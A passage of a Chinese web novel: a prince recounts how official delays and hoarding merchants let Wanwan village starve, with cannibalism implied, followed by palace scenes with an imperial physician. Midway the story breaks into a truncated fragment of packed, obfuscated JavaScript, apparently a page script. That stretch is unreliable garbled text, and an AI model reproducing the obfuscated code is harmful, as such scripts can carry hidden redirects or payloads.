等仓官回报。 等核户的人回来。 等镇上十五石米兑现。 这一天,陆云逸在县衙偏厅坐到傍晚。 期间,宋县令来了三回。 第一回说,常平仓账实略有出入,要再核。 第二回说,瑞通行寄仓粮确在,但有市舶司过路文书,仓官不敢擅动。 第三回说,县中大户愿意借粮,但要县衙作保,并要来年按三成息归还。 “三成息?”陆云逸问。 宋县令脸色难看。 “我已压到两成。” “这是救荒,还是放债?” 宋县令叹气。 “小王爷,若逼得太紧,他们便说无粮可借。粮在他们仓里,钥匙也在他们手里。” 陆云逸觉得胸口有一股气,却没有地方发。 傍晚时,去湾湾村核户的人还没回来。 倒是府城那边先来了回信。 不是正式验明。 只是说,明亲王府确有小王爷陆云逸离京游历,但是否至本县,还需再查沿途驿牒与王府印记。 还需再查。 陆云逸看着这四个字,久久没有说话。 宋县令也沉默。 蒋县丞小声道:“至少证明小王爷确在外游历。” “却没证明我是我。”陆云逸道。 蒋县丞不敢接。 夜里,陆云逸没有睡。 他借了县衙的案桌,重新写了一封信。 这封信不是写给县令。 是写给府城知府。 他把湾湾村改桑、丝价骤跌、米行闭仓、瑞通行寄粮、常平仓不足、大户借粮索息,一条一条写进去。 写到最后,他停了很久。 然后写: 此非一村饥馑,恐为商路所制。若再迟疑,民必相食。 写到“民必相食”四字时,他的手顿了一下。 他觉得这四个字太重。 重得像诅咒。 可他还是写了。 因为他隐约觉得,如果不写到这样重,府城仍会让县里先查、先核、先等。 写完后,他让宋县令派快马送往府城。 宋县令看了信,脸色微变。 “这四字若传出去,怕会惊动府里。” 陆云逸道:“我就是要惊动府里。” 宋县令看了他许久,终于道:“送。” 快马连夜出了县城。 陆云逸站在县衙门口,看着马蹄声远去。 夜色很深。 他不知道湾湾村此刻如何。 他也不知道叶开阳有没有收到他托差役带回去的话。 她大概会问:公子什么时候回来? 没人答得上来。 他更答不上来。 因为他已经被一层一层公文、印信、契书、仓账困在了县城。 而湾湾村在很远的地方。 远到他即使一直在赶路,也还是赶不及。 …… 屋中静了许久。 颜淞的笔停在纸上,墨迹慢慢洇开。他原本该继续问,问府城后来有没有回文,问县中粮有没有调出,问湾湾村到底撑了多久。 可他一时问不出口。 因为陆云逸方才说到“民必相食”时,声音太平静。 那不是讲故事吓人的语气,倒像一个人明明看见河水已经漫到脚边,却发现所有人还在争论堤坝文书该由谁来盖印。 萍儿站在一旁,脸色已经很白。 颜淞低头看着自己记下的几行字。 瑞国商人。 改桑。 米行闭仓。 验帖。 民必相食。 他忽然想起太医院旧档里的一些记载。 那时他刚入太医院不久,只是个跟着师傅整理旧案的小医官。有一年,江南几处州县送来过灾后疫病的医案。案中写得很含蓄,说姑苏府南部与毗邻几县,因粮价暴涨,乡民流移,寒湿疫疠并作。 医案里不会直写太惨的事。 太医院只管病,不管饥荒的缘由。 可病案后头夹着一份地方呈报的抄件,颜淞曾经看过一眼。那上头有几个字,他多年都忘不掉。 鬻子、弃老、人相食。 当时他的师傅合上那份抄件,只说了一句话: “医书上写五脏六腑,可人饿到极处,就不只是五脏六腑的事了。” 颜淞那时年轻,听得心里发冷,却并不真正明白。 如今听陆云逸讲到这里,他才忽然明白,那些被折进旧档里的字,原来曾经落在一个个具体的人身上。 也许就落在湾湾村。 也许就落在叶开阳身上。 陆云逸看向他。 “颜太医知道这件事?” 颜淞握笔的手紧了一下。 他没有立刻回答。 萍儿也看向颜淞。 “颜太医?” 颜淞沉默片刻,低声道:“臣入太医院后,见过几份江南灾后疫病的旧案。” 陆云逸问:“姑苏?” “姑苏一带有。”颜淞道,“还有邻近几个县。年份……与殿下所说,大约能对得上。” 陆云逸垂下眼。 “案上怎么写?” 颜淞犹豫了一下。 太医院旧案里的东西,本不该随意说。可此时不说,又像是在替那些轻飘飘的文字遮掩。 他低声道:“最初写的是米贵、民饥、流移。后来写疫病。再后来,地方呈报里提过几处极重的事。” 陆云逸抬眼看他。 “人相食?” 颜淞的嘴唇动了动。 过了片刻,他点头。 “有。” 屋中一下静得厉害。 萍儿下意识扶住桌角。 人相食这三个字,太轻,也太重。 轻得只有三个字。 重得几乎叫人不敢细想。 陆云逸没有露出惊讶。 他只是很轻地笑了一下。 那笑让颜淞心里发冷。 “原来案卷里也写了。” 17. 迟来车马空回首 颜淞没有接话。 陆云逸也不再笑了。 他靠在椅背上,看着窗外那株老梅,像是看见的不是王府院落,而是很远很远的一条冬路。 过了一会儿,他问:“案卷里会写田氏吗?” 颜淞怔住。 陆云逸继续道:“会写叶成吗?会写叶开阳吗?会写湾湾村的人先杀鸭,再捕鱼,最后连鱼也没有了吗?” 颜淞喉咙发紧。 “不会。” “会写我被拦在城门外验帖吗?会写米行的掌柜说契书齐全吗?会写宋县令说要等府城回文吗?” “不会。” “那会写什么?” 颜淞低头看着自己的纸。 他忽然觉得,自己手里的笔也很轻。 轻得像它随时会把活人的痛写成几句可供翻检的病症。 过了很久,他道:“会写饥民疫疠,腹胀,浮肿,泄泻,寒热,伤寒,瘟毒。” 陆云逸点了点头。 “都是病。” 颜淞道:“是。” “可最先病的,不是他们的身子。” 颜淞没有说话。 陆云逸低声道:“是田病了。粮病了。路病了。官府病了。人的心也病了。等这些都病透了,才轮到人的身子。” 萍儿听得眼眶发红。 “云逸,今日别说了。” 陆云逸没有反驳。 他似乎确实累了。 可他闭了闭眼,又睁开。 “我还没说完。” 颜淞抬头看他。 陆云逸道:“我在县城等了三日。” …… 那三日里,陆云逸什么也没等到。 准确地说,也不是什么都没有。 县衙每天都有消息。 第一日,仓官回报,常平仓账实不齐。账上写着二百石可动粮,仓中实称后,能立刻支用的不足一百五十石。其中还有一部分陈粮受潮,若要发下去,须先晒检,否则吃坏了人,又是麻烦。 宋县令脸色很难看。 他没有骂仓官。 因为这并非一日之弊。仓粮出入、损耗、鼠耗、陈换新,年年都有名目。平日账面看着尚能糊过去,真到要开仓救人时,少的那部分便从纸上露出了洞。 第二日,去湾湾村核户的差役回来。 他们说湾湾村确有断粮之户,却又说没有饿死人。几户人家已经开始以糠、草根、河蚌充饥,也有人家将孩子送去亲戚处。 宋县令问:“可有逃荒?” 差役道:“还不多。” 这句话一出来,屋中便静了。 还不多。 意思是已经有了。 第三日,府城仍未正式验明陆云逸的身份。 回来的公文说,明亲王府小王爷确曾离京游历,沿途也有几处驿站记载相符,但陆云逸孤身至县,未带随从关防,须再向前一处驿馆核验。 蒋县丞拿着公文,语气小心。 “小王爷,府中不是不信,只是事涉粮政,须谨慎。” 陆云逸看着那张纸。 他已经不想再听“谨慎”二字。 谨慎拦住了城门。 谨慎拦住了商仓。 谨慎拦住了瑞通行的粮。 谨慎也拦住了他。 宋县令倒是比旁人果断些。 他先开出五十石常平仓粮,送往湾湾村、赵家湾、南渡口三处最急之地。可五十石粮装车、称量、登记、派人押送,又花了一日。 陆云逸要跟车走。 宋县令拦住他。 “小王爷若此时走,府城来人验帖,见不到人,又要拖。” 陆云逸看着他。 宋县令也看着陆云逸。 这一次,宋县令没有避开他的目光。 “小王爷,我知道你想回湾湾村。可你若留在这里,或许能催出五百石、一千石。你若跟着这五十石回去,便只剩五十石。” 这话也有理。 又是有理。 陆云逸最终留了下来。 五十石粮车出城时,他站在县衙门口看着。车轮碾过石板路,发出沉闷声响。押粮的差役裹着旧棉衣,呵着白气。粮袋摞在车上,看起来不少,可陆云逸知道,分到几个村子,不过能多撑几日。 他问宋县令:“车到湾湾村要多久?” “路好,一日半。若路差,两日。” “会先到湾湾村吗?” 宋县令沉默了一下。 “按核户名册,先到赵家湾。那里断粮户更多。” 陆云逸没有说话。 他不能说先救湾湾村。 他说不出口。 第四日,府城来了两个人。 一个是府衙经历司的小吏,一个是府城驿馆的书办。他们带着王府名帖抄本、驿牒和一堆要核对的印痕。 他们见了陆云逸,礼数周到,却仍要问他许多事。 何日离京? 带过几名随从? 为何中途失散? 曾在何处驿站更换马匹? 名帖由何人所书? 王府印记为何与府中存档略有新旧差异? 陆云逸一一回答。 回答到后来,他几乎觉得自己不是来救灾,而是来证明自己确实是自己。 府城小吏也有难处。 他不敢随意点头。 若验错了贵人身份,是罪;若放任假冒宗室之人插手粮政,也是罪。于是他问得很细,问完又写,写完再让陆云逸画押。 陆云逸看着那张纸,忽然想起林鸯鸯的良籍。 人活着,要被纸证明活着。 人死了,也要被纸认作死了。 如今他明明站在这里,也要被纸证明他是陆云逸。 第五日,身份终于验明。 宋县令立刻扣查瑞通行寄仓粮。 可瑞通行的管事早有准备。 他带着契书、税单、市舶司过路文书、雇工口粮簿,一样一样摆在县衙案上。 管事是本朝人,姓邵,替瑞国商人办事多年。他说话极稳,脸上一直带着恭敬笑意。 “小王爷,宋大人,小号这些粮并非囤积居奇,而是沿途转运。税已纳,契已立,去向清楚。若官府强扣,瑞国商馆问起来,小号担不起。” 宋县令问:“粮要运往何处?” 邵管事道:“一部分往府城,一部分往海口。” “为何冬日运粮?” “雇工、船工皆要吃饭。瑞国商船来往,行中自备粮米,不犯律令。” 陆云逸看着他。 “前几年瑞国商人高价收丝,引湾湾村一带改桑。今年丝价忽跌,米粮又在你们行号名下转运。邵管事不觉得太巧吗?” 邵管事笑容不变。 “小王爷说的是大势,小人只管账。丝价涨跌,米粮转运,皆有商情。若说因果,小人不敢妄言。” “瑞国商人现在何处?” “府城商馆。” “请来。” 邵管事垂首道:“瑞商不通本朝律令,地方若要传见,须经市舶司或府衙行文。” 又是一道门。 县衙没有权直接拿瑞国商人问话。 宋县令能扣查仓粮,却不能无凭没收。瑞通行账册齐全,文书完备,连缴税都缴得干干净净。 太干净了。 干净得像早有人知道会有这一日。 宋县令私下对陆云逸道:“这事不小。” 陆云逸道:“所以更要查。” 宋县令看着他。 “若只是本地粮商囤粮,我能查。若牵到瑞国商馆、市舶司、府城大商号,甚至前几年劝农改桑的乡绅牙人,便不是县里能办的。” “那就去府城。” 宋县令没有劝他。 他只是说:“去府城,又要时间。” 陆云逸当然知道。 可是他没有别的路。 第六日,他去了府城。 从县城到府城,路更远。冬日水路慢,陆路车马也慢。陆云逸换马赶路,中途只歇了两个时辰。到府城时,已经是第八日傍晚。 府城比县城大得多。 城门高,街道宽,衙署也更深。陆云逸递名帖进去,这一回没有被关在城外,却仍等了许久。 知府见他时,已经入夜。 府衙灯火通明,堂上炭盆烧得很旺。知府姓顾,五十上下,气度比宋县令沉稳许多。他看完陆云逸带来的文书,没有立刻表态,只问了几个问题。 “湾湾村已死多少人?” 陆云逸道:“我离村时,还未死人。” 顾知府抬眼。 陆云逸明白他的意思。 未死人,事情在公文上便还差一口气。 他压住胸中的冷意,继续道:“已有断粮户,已有流移,已有民间传言抢粮。若等死人再办,便迟了。” 顾知府道:“府中不只湾湾村一处。” “所以更该早调粮。” 顾知府没有否认。 他让人取来府中近月米价、各县报灾文书、商粮税册。陆云逸看得出来,府城并非全不知情。事实上,他们知道的比县里更多。 姑苏府南面几个县,米价都涨。 有的地方比湾湾村更早改桑。 瑞国商人前几年高价收丝的路线,正好也是今年缺粮最重的几处。 陆云逸看着那些册子,心里慢慢发冷。 这已经不像巧合。 更像有人先用高价把一地人的饭碗换成桑叶,再在粮价抬起时收紧米袋。 顾知府也看出来了。 可他说:“没有铁证。” 又是这句话。 没有铁证。 便不能动瑞商。 不能动瑞商,便只能赈灾。 可赈灾的粮从哪里来? 府仓有粮,但府仓也不满。朝廷定额、军需预备、城中平粜,都要算。顾知府可以调一批粮去县里,却不能只给湾湾村,也不能立刻把所有粮都拨出去。 他答应先拨三百石。 三百石,比县里五十石多。 可从府仓出粮,又要称量、造册、装船、派差役押运。粮船到县,再由县分到镇,再由镇送往各村。 每转一道,便慢一日。 陆云逸急得几乎不能坐。 顾知府看着他,道:“小王爷,你急是对的。可粮不是水,不能一泼就到。船要调,人要派,沿路要防抢。若没有押运,粮船未必能到地方。” 这仍然是实情。 陆云逸无话可驳。 第九日,第十日,第十一日。 他留在府城催粮。 每日去府仓。 每日去府衙。 每日问粮船何时开。 顾知府起初还见他,后来忙得见不着,便让经历司回话。经历司的小吏见了他,恭敬得很,可说来说去都是那几句。 “今日装船。” “明日验封。” “押运人手未齐。” “水路有一段浅,须换小船。” “沿途有饥民聚集,巡检司须先清道。” 每一句都不是假的。 也正因为不是假的,才更叫人绝望。 第十二日,府城回报,瑞通行一部分寄仓粮在县衙扣查前已经转出。 文书齐全。 去向为海口。 陆云逸问:“何时转出?” 小吏低头道:“就在县衙验帖那几日。” 陆云逸闭了闭眼。 他被困在县城证明自己是谁的时候,那些粮已经从仓里走了。 第十三日,他见到一个瑞国商人。 那人汉话说得不熟,身边带着通译。顾知府没有让陆云逸单独问,只在府衙偏厅里请来,说是“询商”。 瑞国商人面色白,胡须浅,穿着本朝样式的长袍,却怎么看都有些不合身。 他一直说,丝价跌是因为瑞国本土织造增加,米粮转运是商船所需,行号守法纳税,从未扰乱市面。 通译一字一句翻得很稳。 陆云逸问:“你们前几年为何突然高价收丝?” 通译转述后,瑞商笑了笑。 “商人逐利。彼时贵国丝好,价高亦值得。” “今年为何又压价?” “商人逐利。如今不值。” 这回答坦白得几乎无耻。 顾知府脸色也不好看。 可瑞商说得并不错。 商人逐利。 这四个字,可以解释很多事。 也可以遮住很多事。 第十四日,府城三百石粮终于开船。 陆云逸原本要随船回县。 顾知府却拦住他。 “小王爷,此事已经惊动省中转运司。若你现在走,瑞通行一事便只剩府中慢查。你若留下,至少能逼他们把账册交出来。” 陆云逸看着码头上的粮船。 船已经装好。 粮袋一层层压在舱中。 只要他上船,几日后便能离湾湾村近一些。 可顾知府的话也没有错。 若他留下,或许能查出瑞国商人背后那条线。 若他走,湾湾村能早几日见到他。 他站在码头上,第一次恨自己只有一个人。 最后,他没有上船。 他让人带了信给宋县令,叫他务必将粮先送最急处,又另写一封给叶成。 信很短。 粮已在路上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二十九日到镇上。 许镇正见他时,几乎不敢抬头。 “小王爷,湾湾村那边……” 陆云逸看着他。 许镇正嘴唇发白。 “前几日有几户逃荒。叶成家……下官不清楚。只是听说他们家粮早就尽了。” 陆云逸没有再听他说下去。 他出了镇子,往湾湾村走。 这一次,他没有坐车。 路仍旧很长。 比他离开时更长。 田野空荡荡的,桑树枝条已经有一点发芽的迹象。春天快来了。可春天来得再快,也不能让粮瓮立刻长出米。 终于有一天,陆云逸看见湾湾村村口那棵没有树皮的歪脖子柳树。 他停下脚步。 湾湾村比他离开时更静。 不是夜里的静。 是活物被一点一点吃空以后,剩下的静。 村口没有孩子。 水沟边没有摸鱼的人。 田埂上没有鸡鸭,也没有狗叫。连从前总在屋檐下乱钻的麻雀,仿佛也不见了。几户人家的院门半开着,里面没有说话声,也没有锅碗声。风从空院子里穿过去,卷起一点灰土,又很快落下。 陆云逸往叶家走。 越靠近叶家,他脚步越慢。 叶家的院门半敞着。 门闩歪在一旁,像已经许久没人好好关门。院角那个从前装鸭子的破竹筐倒在地上,筐边被啃得乱七八糟,不知是人咬的,还是被什么钝器砸开的。 灶房冷着。 锅盖歪在地上。 水缸见了底,缸沿有几道干裂的泥痕。米瓮倒在墙边,里面空得干干净净,连糠皮都没有剩下。旁边那只缺口碗还在,碗里没有石子。 一粒也没有。 陆云逸站在灶房门口,忽然觉得自己听不见风声了。 他慢慢走进东屋。 那间原本留给“儿子”的空房,已经空了。床板上没有被褥,柜门开着,里面什么都没有。墙角落着几根干草,被人嚼过似的,断口发白。 陆云逸又往正屋走。 屋里很暗。 一股说不清的腥腐气混着潮冷扑出来。 叶成躺在床上。 不,几乎不能说是躺着。他像一张被抽干的皮,蜷在薄薄的草席上,脸颊凹陷,眼眶黑得吓人。听见脚步声,他眼皮动了动,像用了很久才认出陆云逸。 他没有起身。 饥饿到这个地步,人已经不会再起身了。 起身要力气。 说话也要力气。 陆云逸站在床前,喉咙像被什么堵住。 “叶成。” 叶成的嘴唇动了一下。 陆云逸弯下腰,才听见一点气音。 “公子……” 陆云逸看向屋内。 田氏不在。 叶开阳也不在。 床边放着一只破碗,碗底凝着一层暗褐色的痕迹。旁边有一截细细的骨头,已经被砸裂,骨髓被刮得干净。地上还有一小片灰扑扑的布角,像是从孩子衣裳上撕下来的。 陆云逸认得那颜色。 叶开阳曾穿过那件短衣。 他没有问。 他忽然明白,有些话不必问出口。 有些答案,只要看见屋里的空处、碗底的痕、床边的骨、那片布角,就已经足够残忍。 叶成的眼睛里没有泪。 人饿到最后,连哭的水分也没有了。 他只是看着陆云逸,嘴唇又动了动。 这一次,陆云逸没有听清。 也许他在说粮。 也许他在说开阳。 也许他什么都没有说,只是身体里最后一点气,从干裂的唇缝里漏了出来。 陆云逸站在那里,手脚冰冷。 他从镇上到县里,从县里到府城,又从府城赶回来。 他一直在赶路。 一直在求人。 一直在写信。 一直在盖印、验帖、查仓、问粮、催船。 可他还是回来晚了。 整整一个月。 屋外风吹过院子。 墙角那块干硬的泥地上,隐隐还剩半个没被磨尽的字。 粮。 18. 玉盘珍馐照骨秋 屋中静了很久。 颜淞的笔停在纸上,墨在笔尖聚着,迟迟没有落下。萍儿站在陆云逸身侧,也不敢开口。方才那些话像一场寒潮,把屋里所有声息都压住了。 陆云逸坐在窗下,只是沉默。 过了许久,他才慢慢抬眼,看向桌上的茶盏。茶已经凉了,盏中浮着几片舒展开的茶叶,叶梗沉在水底,像几笔淡淡的墨痕。 他问:“什么时辰了?” 萍儿怔了一下,忙看向窗外。 外头日光已经过了中天,照在廊下青砖上,明晃晃一片。 “快午时了。”她低声说。 陆云逸点点头。 “到饭点了。” 这话说得寻常,仿佛这不过是王府里一个平平常常的午后,主人问时辰,下人传饭,厨房照例把热菜热饭送上来。 萍儿眼眶一酸,忙低下头,道:“我让人传饭。” 她走到门边,吩咐小丫鬟去厨房。那小丫鬟早在廊下候着,听见吩咐,立刻应声去了。 这一声传下去,听雪斋外便动了起来。 先是两个粗使婆子抬了小炭炉进来,炉中燃的是银丝炭,火气细而不燥,连烟都没有。又有两个丫鬟捧着热水、香胰、细棉巾帕进来,另有一人手里托着漱口用的青瓷小盏,盏中盛着温水,水面浮着两片薄荷叶。 萍儿亲自取了帕子,在热水里浸过,拧得不干不湿,递给陆云逸。 陆云逸接过来,慢慢擦手。 颜淞坐在一旁,便也有人捧了水来。那丫鬟不过十三四岁,动作却极稳,既不敢近得唐突,也不敢远得怠慢。颜淞虽在太医院供职,也并非没见过宫中规矩,可明亲王府这等近宗亲王的日常起居,仍叫他觉得处处细密。 不过片刻,饭便送来了。 先入门的是两个年长些的媳妇子,一个管盘盏,一个管温炉。后头跟着六七个穿青比甲的小丫鬟,手中各捧漆盘。漆盘上覆着银盖,盖上凝着一点热气,行走之间,衣裙不响,脚步也轻。再后头还有两个小厮,只站在门外,不敢进内室,手里托着食盒和备用的热水。 听雪斋本是小王爷读书养病之所,并不是正经用大席的地方。可王府规矩在这里,便是一顿病中简饭,也不能粗率。桌子先用细布擦过,铺上月白色暗纹桌单。桌单四角压着小小银镇,镇子做成莲叶模样,叶脉都刻得清楚。 丫鬟们将菜一样一样摆上来。 先是一盅碧粳米熬的细粥。 那米是上等新米,粒粒匀净,熬了许久,米粒开花,汤色却不浑,盛在白瓷小盅里,白得几乎与瓷色相融。上头浮着一层薄薄米油,灯光一照,像软玉化成的水。 粥旁边配了八样小菜。 一碟酱瓜丝,切得细如发,酱色清亮;一碟糖醋嫩姜,片片透明;一碟腌嫩笋,只取最尖的一段,咬起来应当极脆;一碟香油豆苗,绿得鲜明;一碟胭脂萝卜,色泽红润,酸甜开胃;一碟糟鹅掌,骨头都剔去了,只留筋皮;一碟虾籽芹菜,盛在浅青瓷盘里;还有一碟极小的乳黄瓜,拇指长短,整整齐齐码成一圈。 再往后,是几样热菜。 一道鸡髓笋丝,笋切得极细,鸡髓熬入清汤,汤面不见半点浮油,却有一种温润鲜香。 一道芙蓉豆腐,豆腐嫩得几乎不能夹,卧在浅浅清汤之中,旁边点了几粒碧绿豌豆和两丝火腿,红绿映着雪白,看着便清爽。 一道清蒸鳜鱼,只取中段,鱼皮剥去,肉白如雪。旁边另有一只银小壶,盛着姜汁酱油,须用时才浇,免得坏了鱼肉的鲜嫩。 一道火腿冬瓜,火腿只借味,冬瓜却炖得透明。还有一道桂花山药,山药切成小段,浇了淡淡桂花蜜,既可当菜,也可当点心。 再有一小盅鸽蛋,汤清见底,鸽蛋圆润如珠;一碗银耳莲子羹,因陆云逸病中,糖放得极少,只借莲子本身的清甜。 点心也有四样。 枣泥山药糕,切成梅花形。 松子鹅油卷,层层卷起,薄得像纸。 玫瑰酥酪,盛在小瓷盏里,上头撒着一点碎花瓣。 还有一碟小小的如意卷,用豆沙与薄饼卷成,一端切开,纹路细密。 若是逢年过节或王府正席,这些自然算不得什么。不过是厨房依“清淡养胃”的吩咐,减了厚味大荤,又怕小王爷病中胃口不开,才多做了几样精巧小食,以便他看中哪样便吃哪样。 可这一桌摆开,仍是琳琅满目。 瓷是细瓷,银是细银,连盛粥的小匙都不是寻常白瓷,而是用温润的玉色瓷烧成,柄上画着极淡的竹叶纹。筷架是白玉雕的小兽,香炉里燃着极淡的沉水香,怕饭菜气味混杂,又早早撤远了些。 热气升起来,满屋便有了饭香。 不是粗饭热锅那种直白的香,而是被调和过的、藏着层次的香。米香最先浮上来,随后是清汤里的鸡鲜、鱼肉里的甜、笋尖的清气、火腿的微咸、桂花蜜的淡香。几种味道并不争抢,只缓缓在屋中散开。 颜淞坐在那里,忽然觉得这一桌饭像一段极厚的锦缎。 锦缎太软,太亮,太密,把世上许多粗粝难看的东西都遮了起来。 遮得严严实实。 萍儿却顾不上这些。 她只怕陆云逸胃口不好,先替他盛了小半碗粥,又取了豆苗和嫩笋,放在小碟里。 “先吃些热的。”她轻声道。 陆云逸点头。 他接过粥,吃了一口。 粥熬得极软,入口几乎不必嚼。若是平日,他也许不会留意这些。可今日屋中太静,连瓷匙碰到碗壁的一点轻响,都显得清楚。 萍儿见他肯吃,心才稍稍放下。 她又夹了一点芙蓉豆腐,细细吹过,送到他碟中。 陆云逸吃得不快,也不多。 可他每一样都尝了一点。 萍儿便像得了什么极大的安慰,眼神也渐渐缓过来。 颜淞原本准备告退。可陆云逸抬头看了他一眼,道:“颜太医也用些吧。” 颜淞忙道:“臣不敢。” 陆云逸道:“你坐了半日。” 这话不像客气,也不像命令。 萍儿便道:“颜太医也别拘礼。你这些日子来回奔波,饭点也常错过。小王爷既开了口,便坐下用些。” 颜淞这才谢过,在下首坐了。 丫鬟替他盛了粥,又另摆了银箸与小碟。颜淞只取近处的豆苗和小菜,连鱼也不敢动。萍儿看见,便亲自让丫鬟给他分了一小块鳜鱼。 “颜太医不用太拘束。”萍儿道,“王府今日也不是摆席。” 颜淞只得谢过。 那鱼入口极嫩,几乎没有刺,鲜得清淡。颜淞吃了一口,却忽然觉得喉中有些堵。他知道这不是鱼的问题,是心里那些东西还未沉下去。 饭吃到一半,萍儿像是怕屋里太静,轻声道:“你离京后,府里一直冷清。今日这样摆饭,倒像久违了。” 陆云逸抬眼看她。 萍儿笑了笑,可那笑里带着一点疲惫。 “从前你在家,厨房还晓得时时预备着。你一走,王爷也常不在府里,我一个人哪用得上这些?有时晚间随便用些粥点,也就过去了。倒是今日你肯坐下来吃饭,厨房那些人只怕比我还高兴。” 陆云逸道:“父王近来仍不常在?” “王爷忙。”萍儿道,“朝中事多,宫里也常传召。” 颜淞听到这里,顺口问了一句:“明亲王殿下平日多在衙署?” 这话问出口后,他便觉略有不妥。 明亲王的行踪,本不该他一个太医多问。 萍儿却没有露出异色,只道:“王爷忙于政务,常在外头。府里的事,大多由管事照看。小王爷从小清静惯了,也不喜人多。” 陆云逸垂眸吃粥,没有接话。 颜淞便不再问明亲王,转而看向萍儿。 “萍儿姑娘照顾殿下多年,想来与王府渊源很深。” 萍儿手中的筷子微微一顿。 她看了陆云逸一眼,见他神色如常,才淡淡笑道:“也谈不上什么渊源。王妃还在世时,我与她是旧友。后来王妃去了,小王爷年幼,我便留在府里照顾他。” 她说得极简。 颜淞听出她不愿多说,便只点头。 “原来如此。” 陆云逸忽然道:“颜太医。” 颜淞抬头:“殿下。” 陆云逸把瓷匙放下,像只是想起一件寻常事。 “你在王府这些日子,宫里可曾催问?” 颜淞道:“尚未有人来催。不过臣今日也该回太医院整理案记,择时入宫复命。” 陆云逸点了点头。 “陛下派你来,自然要听回话。” 他说完,便不再继续。 …… 饭后,丫鬟们上来撤桌。 撤桌也有规矩。 陆云逸动过的碗盏先收,未动过的点心另放一边,萍儿吩咐可以赏给听雪斋里当值的人。热汤撤下去,若厨房还要回火,须另换干净盅盖。小菜不再回厨房,免得失了规矩。桌布撤去后,又有人拿热巾将桌面擦了两遍,最后才撤炭炉。 满桌饭菜来时热热闹闹,去时却悄无声息。 不一会儿,屋里便又恢复了清净。 只余一点饭香,还淡淡浮在空气里。 陆云逸靠在椅背上,似乎有些倦了。 萍儿扶他去榻上歇息。 他没有拒绝。 从饭桌到软榻不过几步路,他走得很慢。萍儿替他盖上薄被,又把炭盆往近处挪了些。陆云逸闭上眼,不多时便不说话了。 颜淞知道,今日不能再问。 他轻手轻脚收起病案和药箱,准备告辞。 萍儿送他到外间。 一离开陆云逸身边,她脸上那点勉强撑着的平静便淡了。她站在屏风旁,低声道:“颜太医,皇上那里……” 颜淞道:“姑娘放心,我会尽量只说病症。” 萍儿看着他。 “只是尽量?” 颜淞沉默片刻。 “若陛下追问,臣不能欺君。” 萍儿闭了闭眼。 她自然知道这个道理。 只是知道归知道,听见这句话,心仍是往下一沉。 颜淞又道:“不过有些事,本也 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萍儿也意识到自己答得急了些,便缓了口气,道:“云逸自幼在王府长大,衣食无缺,虽说王爷忙些,可府里没人敢怠慢他。王妃去得早,可那时候他还小,也未必记得多少。我一直陪着他,没出过什么大事。” 颜淞问:“性情呢?自小便如此吗?” “他小时候很安静。”萍儿道,“不像别的孩子闹腾。可聪明,认字早,读书也快。先生都说他沉稳。若说有什么不好,也不过是不爱亲近人。” 她停了一下,又补道:“但这也正常。王府里的孩子,总不能像乡下孩子那样满院子疯跑。” 颜淞点点头,没有继续追问。 萍儿看着他,声音低了些。 “颜太医是觉得,我瞒了你?” 颜淞道:“我只是问病。” 萍儿垂下眼。 “那我只能说,他童年很正常。至少我看来,很正常。” 这句话说完,两人都沉默下来。 “正常”二字,有时也未必可靠。 一个孩子吃得好、穿得暖、有人教书、有人伺候,外人看来便是正常。可心里那些看不见的东西,谁又能日日翻出来看呢? 颜淞没有把这话说出口。 他只是道:“接下来,姑娘照旧待他便好。” “照旧?” “是。”颜淞道,“不要忽然过分小心,也不要事事顺着他的病说。殿下清醒时,便照平日说话;若再出现旁的身份,也不要急着纠正。先稳住他。” 萍儿点头。 “我记下了。” 颜淞背起药箱。 萍儿亲自送他到廊下。 临出听雪斋时,颜淞回头看了一眼。屋中丫鬟已经退下,饭桌撤得干干净净,只有那盏未饮完的茶还搁在窗边。软榻那头垂着半幅帘子,陆云逸躺在里头,看不见脸。 这间屋子仍旧精致、温暖、安静。 炭是好炭,饭是好饭,茶是好茶。 连病人的薄被,都是柔软细密的绸面。 颜淞忽然觉得,这一切像一层极厚的锦缎,铺在某个深不见底的洞口上。外头看着富贵温柔,脚一踩下去,却不知哪里是空的。 他向萍儿行了一礼。 “姑娘留步。” 萍儿站在廊下,看着他走远。 颜淞出了明亲王府,天已经偏西。 府门外停着太医院的车。他上车后,把药箱放在膝旁,取出这些日子记下的病案。 纸张已经厚了一叠。 颜淞翻了几页,又合上。 他不能把这些原样呈给皇帝。 至少不能全部呈。 皇帝要看的,不是一个年轻太医乱糟糟记下的惊惧、疑问和旧事,而是一份简洁、清楚、能让上位者判断轻重的回禀。 可是陆云逸的病,本就不简洁。 也不清楚。 车轮缓缓碾过长街。 颜淞闭上眼,脑中却仍是方才那一桌饭菜。 碧粳粥,鸡髓笋丝,芙蓉豆腐,清蒸鳜鱼,鸽蛋,枣泥山药糕。 每一样都那样精巧。 精巧得像能把世上所有粗粝的东西都隔在门外。 可偏偏隔不住。 他回到太医院时,太阳已快落了。 颜淞没有立刻入宫。 他先回自己的值房,点灯,净手,重新铺纸。 然后,他开始整理这些日子的内容。 第一行,他写: 明亲王世子陆云逸,神思郁结,眠食不安,时有失魂离魄之象。 写完这一句,他停了很久。 随后又写: 病发时或自称他名,或认亲误置,或言行异于平日。问答之间,旧事纷杂,悲惧深重。不可急斥其妄,不可强逼其忆。 写到这里,他把笔搁下。 窗外暮色沉沉,太医院里有人低声说话,又很快远了。 颜淞看着纸上的字。 他知道,这只是开头。 真正难的,是等会儿进宫之后,皇帝会问什么。 而他又能答什么。 19. 御前灯冷呈残牍 颜淞回到太医院时,天已经黑透。 他没有立刻面圣。 御前不是谁想去便能去的地方。便是太医院院使,若非急症召见,也须先递牌子,等内廷传话。颜淞不过是祝由科的太医,又不是常在皇帝身边请脉的人,若夜里贸然求见,不但不合规矩,反倒显得轻狂。 他回到值房,先净了手,又点了灯。 灯芯剪过一回,火苗仍有些摇。案上的纸铺了三张,废了两张。第一张写得太细,几乎把陆云逸这些日子说过的旧事都牵了进去。广陵、春水绣坊、湾湾村、瑞国商人、米行、县衙、府城,一条一条写下来,倒不像病案,像一份地方灾政陈情。 颜淞看完,自己先摇了头。 这不能给皇帝看。 第二张又写得太轻,只说明亲王世子心神郁结、睡卧不安、神思错乱。这样写虽稳,却什么也没说清。皇帝若只看这一纸,未必知道陆云逸病到什么地步,也不知道为什么不能逼问。 他又把第二张揉了。 第三张,他写得慢了许多。 